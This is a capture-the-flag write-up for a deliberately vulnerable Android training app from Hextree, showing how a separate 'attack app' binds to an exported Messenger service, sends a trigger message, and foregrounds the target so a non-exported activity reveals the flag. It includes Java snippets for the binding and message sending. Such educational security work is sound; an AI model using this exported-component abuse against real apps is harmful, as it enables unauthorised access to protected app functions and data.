Exploiting Flag26Service β Android Messenger-Based Service (Hextree CTF)
π Challenge Overview
Weβre given a bound Service
called Flag26Service
, which exposes a Messenger
IPC interface using onBind()
:
1
2
3
4
@Override
public IBinder onBind(Intent intent) {
return this.messenger.getBinder();
}
The service uses a Handler
to process incoming messages. When it receives a message with what == 42
, it triggers this function:
1
2
3
4
5
6
7
8
private void success(String str) {
Intent intent = new Intent(this, Flag26Activity.class);
intent.putExtra("secret", secret);
intent.putExtra("what", 42);
intent.addFlags(268468224);
intent.putExtra("hideIntent", true);
startActivity(intent);
}
This launches the activity containing the flag, passing the secret and flag trigger values via the Intent
.
π§ The Catch
Even if you successfully bind to the service and send Message.what == 42
, Flag26Activity
is not exported:
1
2
3
<activity
android:name="io.hextree.attacksurface.activities.Flag26Activity"
android:exported="false"/>
This means the activity cannot be launched from your external app unless the target app is already in the foreground or running in the background.
β Solution Steps
1. Create a separate app
This is your attack app.
2. Bind to the service
Use Context.BIND_AUTO_CREATE
to connect to the exported Flag26Service
.
1
2
3
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag26Service");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
3. Send the trigger message
Use a Messenger
to send a message with what == 42
.
1
2
Message msg = Message.obtain(null, 42);
serviceMessenger.send(msg);
4. Bring the app to the foreground
Since Flag26Activity
is not exported, the service wonβt launch it unless the app is running in the foreground.
β
Workaround: After pressing the attack button, manually open the target app (io.hextree.attacksurface
) to bring it to the foreground. This will allow startActivity(intent)
inside the service to succeed.
π Flag Retrieval
Once the activity is launched, it checks if the passed secret
matches the static Flag26Service.secret
, and shows the flag if so:
1
2
3
if (Flag26Service.secret.equals(stringExtra)) {
success(this);
}
β
The flag is displayed inside Flag26Activity
UI or logged using the internal LogHelper
class.
thanks for reading. If you enjoyed this write-up, feel free to follow me on Twitter